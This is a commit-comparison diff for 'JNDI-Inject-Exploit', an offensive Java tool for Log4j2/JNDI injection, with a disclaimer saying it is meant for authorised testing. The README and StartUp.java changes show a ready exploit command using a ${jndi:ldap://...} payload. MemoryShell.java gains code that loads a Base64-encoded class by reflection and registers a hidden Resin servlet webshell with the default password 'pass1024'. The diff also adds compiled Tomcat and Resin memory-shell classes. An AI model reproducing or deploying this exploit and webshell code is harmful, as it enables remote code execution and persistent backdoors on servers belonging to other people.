Compare commits
10 Commits
2806396159
...
5b213423a7
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
5b213423a7 | ||
|
|
0736ae2c15 | ||
|
|
fb40c9efbb | ||
|
|
ae4a98870e | ||
|
|
8dc96170fa | ||
|
|
eb53f4ee50 | ||
|
|
4c0f310c8e | ||
|
|
336bf32aa4 | ||
|
|
d1dc6e42bf | ||
|
|
d20fd45a3d |
27
README.md
27
README.md
@@ -1,5 +1,7 @@
|
|||||||
# JNDI-Inject-Exploit
|
# JNDI-Inject-Exploit
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
## 免责声明
|
## 免责声明
|
||||||
|
|
||||||
本工具仅面向**合法授权的企业安全测试**,如您需测试本工具的可用性请自行搭建靶机环境,在使用本工具进行检测时,您应确保该行为符合当地的法律法规,并且已经取得了足够的授权。**请勿对非授权目标进行扫描,如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,作者将不承担任何法律及连带责任。**
|
本工具仅面向**合法授权的企业安全测试**,如您需测试本工具的可用性请自行搭建靶机环境,在使用本工具进行检测时,您应确保该行为符合当地的法律法规,并且已经取得了足够的授权。**请勿对非授权目标进行扫描,如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,作者将不承担任何法律及连带责任。**
|
||||||
@@ -12,6 +14,14 @@
|
|||||||
|
|
||||||
## ChangeLog
|
## ChangeLog
|
||||||
|
|
||||||
|
**0.3 Version**
|
||||||
|
|
||||||
|
- 新增Tomcat一句话内存马
|
||||||
|
- 新增Resin一句话内存马
|
||||||
|
- 新增漏洞环境
|
||||||
|
|
||||||
|
***
|
||||||
|
|
||||||
**v0.2 Version**
|
**v0.2 Version**
|
||||||
|
|
||||||
- 修复已知bug
|
- 修复已知bug
|
||||||
@@ -25,6 +35,19 @@
|
|||||||
- 回显命令执行
|
- 回显命令执行
|
||||||
- 内存马注入
|
- 内存马注入
|
||||||
|
|
||||||
|
## Support
|
||||||
|
|
||||||
|
- 本地gadget探测
|
||||||
|
- 回显命令执行
|
||||||
|
- Tomcat中间件注入冰蝎/哥斯拉流量加密Webshell内存马
|
||||||
|
- Tomcat/Resin 一句话内存马
|
||||||
|
|
||||||
|
## Test
|
||||||
|
|
||||||
|
漏洞环境请转至 v0.3 Version Releases处下载,运行 `springWithLog4j-1.0-SNAPSHOT.jar` 会在8190端口运行服务,访问首页的超链接后的id参数中存在 `Log4j2`漏洞。
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
## Usage
|
## Usage
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
@@ -101,7 +124,7 @@ EnableHttpLog=False
|
|||||||
|
|
||||||
## Example
|
## Example
|
||||||
|
|
||||||
**文件内容**
|
**文件内容(如果是https的话需要在Host头中添加https://)**
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
@@ -119,7 +142,7 @@ java -jar JNDI-Inject-Exploit-0.1-all.jar ip="192.168.0.104" url="http://192.168
|
|||||||
|
|
||||||

|

|
||||||
|
|
||||||
**可利用Gadget信息,如名称中带有 `[TomcatEcho]` 等字样则表示该Gadget可利用且能够回显命令执行,如名称中带有 `BehinderFilter` 、`GodzillaFilter` 字样则表示支持注入冰蝎内存马或哥斯拉内存马**
|
**可利用Gadget信息,如名称中带有 `[TomcatEcho]` 等字样则表示该Gadget可利用且能够回显命令执行,如名称中带有 `TomcatBehinderFilter` 、`TomcatGodzillaFilter` 字样则表示支持在Tomcat中间件中注入冰蝎内存马或哥斯拉内存马(支持该功能不代表一定能够注入成功)**
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
|
|||||||
@@ -89,12 +89,15 @@ public class StartUp {
|
|||||||
String[] proxies = options.get("proxy").split(":", 2);
|
String[] proxies = options.get("proxy").split(":", 2);
|
||||||
proxy = new Proxy(Proxy.Type.HTTP, new InetSocketAddress(proxies[0], Integer.parseInt(proxies[1])));
|
proxy = new Proxy(Proxy.Type.HTTP, new InetSocketAddress(proxies[0], Integer.parseInt(proxies[1])));
|
||||||
}
|
}
|
||||||
memoryShell.add("BehinderFilter");
|
memoryShell.add("TomcatBehinderFilter");
|
||||||
memoryShell.add("BehinderServlet");
|
memoryShell.add("TomcatBehinderServlet");
|
||||||
memoryShell.add("GodzillaFilter");
|
memoryShell.add("TomcatGodzillaFilter");
|
||||||
memoryShell.add("GodzillaServlet");
|
memoryShell.add("TomcatGodzillaServlet");
|
||||||
memoryShell.add("NeoreGeorgFilter");
|
memoryShell.add("TomcatNeoreGeorgFilter");
|
||||||
memoryShell.add("NeoreGeorgServlet");
|
memoryShell.add("TomcatNeoreGeorgServlet");
|
||||||
|
memoryShell.add("TomcatShortMemShellFilter");
|
||||||
|
memoryShell.add("TomcatShortMemShellServlet");
|
||||||
|
memoryShell.add("ResinShortMemShellServlet");
|
||||||
|
|
||||||
try {
|
try {
|
||||||
Class.forName("io.github.exp1orer.util.Config");
|
Class.forName("io.github.exp1orer.util.Config");
|
||||||
@@ -107,9 +110,9 @@ public class StartUp {
|
|||||||
* @description: 打印帮助信息
|
* @description: 打印帮助信息
|
||||||
*/
|
*/
|
||||||
private static void printUsage() {
|
private static void printUsage() {
|
||||||
System.out.println("Log4jShell Author:SearchNull\n");
|
System.out.println("JNDI-Inject-Exploit Author:SearchNull\n");
|
||||||
System.out.println("Usage: \n");
|
System.out.println("Usage: \n");
|
||||||
System.out.println("java -jar JNDI-Inject-Exploit-0.1-all.jar [options]\n" +
|
System.out.println("java -jar JNDI-Inject-Exploit-[version]-all.jar [options]\n" +
|
||||||
"\n" +
|
"\n" +
|
||||||
"Options:\n" +
|
"Options:\n" +
|
||||||
" ip LDAP Server IP(如VPS则指定公网IP)\n" +
|
" ip LDAP Server IP(如VPS则指定公网IP)\n" +
|
||||||
@@ -119,8 +122,8 @@ public class StartUp {
|
|||||||
" method 指定HTTP请求方法,默认为GET\n" +
|
" method 指定HTTP请求方法,默认为GET\n" +
|
||||||
" headers 指定HTTP请求头,以分号分隔多个请求头,以=分隔key,value\n" +
|
" headers 指定HTTP请求头,以分号分隔多个请求头,以=分隔key,value\n" +
|
||||||
" body 指定HTTP请求体内容\n" +
|
" body 指定HTTP请求体内容\n" +
|
||||||
" proxy 指定HTTP请求使用的代理(eg: 127.0.0.1:8080, 只支持Http/S)");
|
" proxy 指定HTTP请求使用的代理(eg: 127.0.0.1:8080, 只支持Http/S)\n");
|
||||||
System.out.println("Example: java -jar Log4j2Shell-0.1-all.jar ip=\"192.168.9.176\" url=\"http://192.168.9.120:8190/log?id=$%7bjndi:ldap://192.168.9.176:1389/EvilObject%7d\"");
|
System.out.println("Example: java -jar JNDI-Inject-Exploit-0.3-all.jar ip=\"192.168.9.176\" url=\"http://192.168.9.120:8190/log?id=$%7bjndi:ldap://192.168.9.176:1389/EvilObject%7d\"");
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -283,7 +286,6 @@ public class StartUp {
|
|||||||
* @author: SearchNull
|
* @author: SearchNull
|
||||||
*/
|
*/
|
||||||
private static boolean checkCommandEcho() {
|
private static boolean checkCommandEcho() {
|
||||||
String line;
|
|
||||||
String respContent;
|
String respContent;
|
||||||
String uuid = UUID.randomUUID().toString();
|
String uuid = UUID.randomUUID().toString();
|
||||||
String command = "echo " + uuid;
|
String command = "echo " + uuid;
|
||||||
@@ -338,7 +340,6 @@ public class StartUp {
|
|||||||
* @author: SearchNull
|
* @author: SearchNull
|
||||||
*/
|
*/
|
||||||
private static boolean runCommand(int index, String command) {
|
private static boolean runCommand(int index, String command) {
|
||||||
String line;
|
|
||||||
String respContent;
|
String respContent;
|
||||||
if (headers == null) {
|
if (headers == null) {
|
||||||
headers = new HashMap<String, String>();
|
headers = new HashMap<String, String>();
|
||||||
|
|||||||
@@ -8,6 +8,7 @@ import java.util.Base64;
|
|||||||
|
|
||||||
public class MemoryShell {
|
public class MemoryShell {
|
||||||
private static MemoryShell instance = new MemoryShell();
|
private static MemoryShell instance = new MemoryShell();
|
||||||
|
private static String className = "";
|
||||||
|
|
||||||
private MemoryShell() {}
|
private MemoryShell() {}
|
||||||
|
|
||||||
@@ -20,7 +21,11 @@ public class MemoryShell {
|
|||||||
return "";
|
return "";
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if ("ResinMemShellServlet".equals(name)) {
|
||||||
|
return instance.resinMemoryShell(name);
|
||||||
|
} else {
|
||||||
return instance.tomcatMemoryShell(name + ".class");
|
return instance.tomcatMemoryShell(name + ".class");
|
||||||
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -90,6 +95,46 @@ public class MemoryShell {
|
|||||||
return code;
|
return code;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private String resinMemoryShell(String name) {
|
||||||
|
String payload = renameClass("User", name + ".class");
|
||||||
|
String code = String.format("try {\n" +
|
||||||
|
" Class si = Thread.currentThread().getContextClassLoader().loadClass(\"com.caucho.server.dispatch\" + \".ServletInvocation\");\n" +
|
||||||
|
" java.lang.reflect.Method getContextRequest = si.getMethod(\"getContextRequest\");\n" +
|
||||||
|
" javax.servlet.ServletRequest contextRequest = (javax.servlet.ServletRequest ) getContextRequest.invoke(null);\n" +
|
||||||
|
" com.caucho.server.http.HttpServletRequestImpl req = (com.caucho.server.http.HttpServletRequestImpl ) contextRequest;\n" +
|
||||||
|
" javax.servlet.http.HttpServletResponse rep = (javax.servlet.http.HttpServletResponse) req.getServletResponse();" +
|
||||||
|
" java.io.PrintWriter out = rep.getWriter();" +
|
||||||
|
" javax.servlet.http.HttpSession session = req.getSession();\n" +
|
||||||
|
" String path = req.getHeader(\"path\") != null ? req.getHeader(\"path\") : \"/favicondemo.ico\";\n" +
|
||||||
|
" String pwd = req.getHeader(\"p\") != null ? req.getHeader(\"p\") : \"pass1024\";\n" +
|
||||||
|
"\n" +
|
||||||
|
" java.lang.reflect.Method getServletContext = javax.servlet.ServletRequest.class.getMethod(\"getServletContext\");\n" +
|
||||||
|
" Object web =getServletContext.invoke(contextRequest);\n" +
|
||||||
|
"\n" +
|
||||||
|
" com.caucho.server.webapp.WebApp web1 = (com.caucho.server.webapp.WebApp ) web;\n" +
|
||||||
|
"\n" +
|
||||||
|
" com.caucho.server.dispatch.ServletMapping smapping = new com.caucho.server.dispatch.ServletMapping();\n" +
|
||||||
|
"\n" +
|
||||||
|
" String s1=\"%s\";" +
|
||||||
|
" byte[] bytes1 = java.util.Base64.getDecoder().decode(s1.getBytes());\n" +
|
||||||
|
"\n" +
|
||||||
|
" java.lang.reflect.Method m = ClassLoader.class.getDeclaredMethod(\"defineClass\", new Class[]{String.class, byte[].class, int.class, int.class});\n" +
|
||||||
|
" m.setAccessible(true);\n" +
|
||||||
|
" m.setAccessible(true);\n" +
|
||||||
|
" m.invoke(ClassLoader.getSystemClassLoader(), new Object[]{\"%s\", bytes1, 0, bytes1.length});\n" +
|
||||||
|
" session.setAttribute(\"u\", pwd);\n" +
|
||||||
|
" smapping.setServletClass(\"%s\");\n" +
|
||||||
|
" smapping.setServletName(\"%s\");\n" +
|
||||||
|
" smapping.addURLPattern(path);\n" +
|
||||||
|
" web1.addServletMapping(smapping);\n" +
|
||||||
|
" out.println(\"->|Success|<-\");" +
|
||||||
|
"} catch (Exception e) {\n" +
|
||||||
|
" e.printStackTrace();\n" +
|
||||||
|
"}", payload, className, className, className);
|
||||||
|
|
||||||
|
return code;
|
||||||
|
}
|
||||||
|
|
||||||
private String renameClass(String prefix, String resourceName) {
|
private String renameClass(String prefix, String resourceName) {
|
||||||
String bytecodes = "";
|
String bytecodes = "";
|
||||||
ClassPool pool = ClassPool.getDefault();
|
ClassPool pool = ClassPool.getDefault();
|
||||||
@@ -100,7 +145,8 @@ public class MemoryShell {
|
|||||||
|
|
||||||
try {
|
try {
|
||||||
CtClass ctClass = pool.makeClass(is);
|
CtClass ctClass = pool.makeClass(is);
|
||||||
ctClass.setName(prefix + System.nanoTime());
|
className = prefix + System.nanoTime();
|
||||||
|
ctClass.setName(className);
|
||||||
byte[] bytes = ctClass.toBytecode();
|
byte[] bytes = ctClass.toBytecode();
|
||||||
bytecodes = Base64.getEncoder().encodeToString(bytes);
|
bytecodes = Base64.getEncoder().encodeToString(bytes);
|
||||||
} catch (IOException | CannotCompileException e) {
|
} catch (IOException | CannotCompileException e) {
|
||||||
|
|||||||
BIN
src/main/resources/ResinMemShellServlet.class
Normal file
BIN
src/main/resources/ResinMemShellServlet.class
Normal file
Binary file not shown.
BIN
src/main/resources/TomcatShortMemShellFilter.class
Normal file
BIN
src/main/resources/TomcatShortMemShellFilter.class
Normal file
Binary file not shown.
BIN
src/main/resources/TomcatShortMemShellServlet.class
Normal file
BIN
src/main/resources/TomcatShortMemShellServlet.class
Normal file
Binary file not shown.
Reference in New Issue
Block a user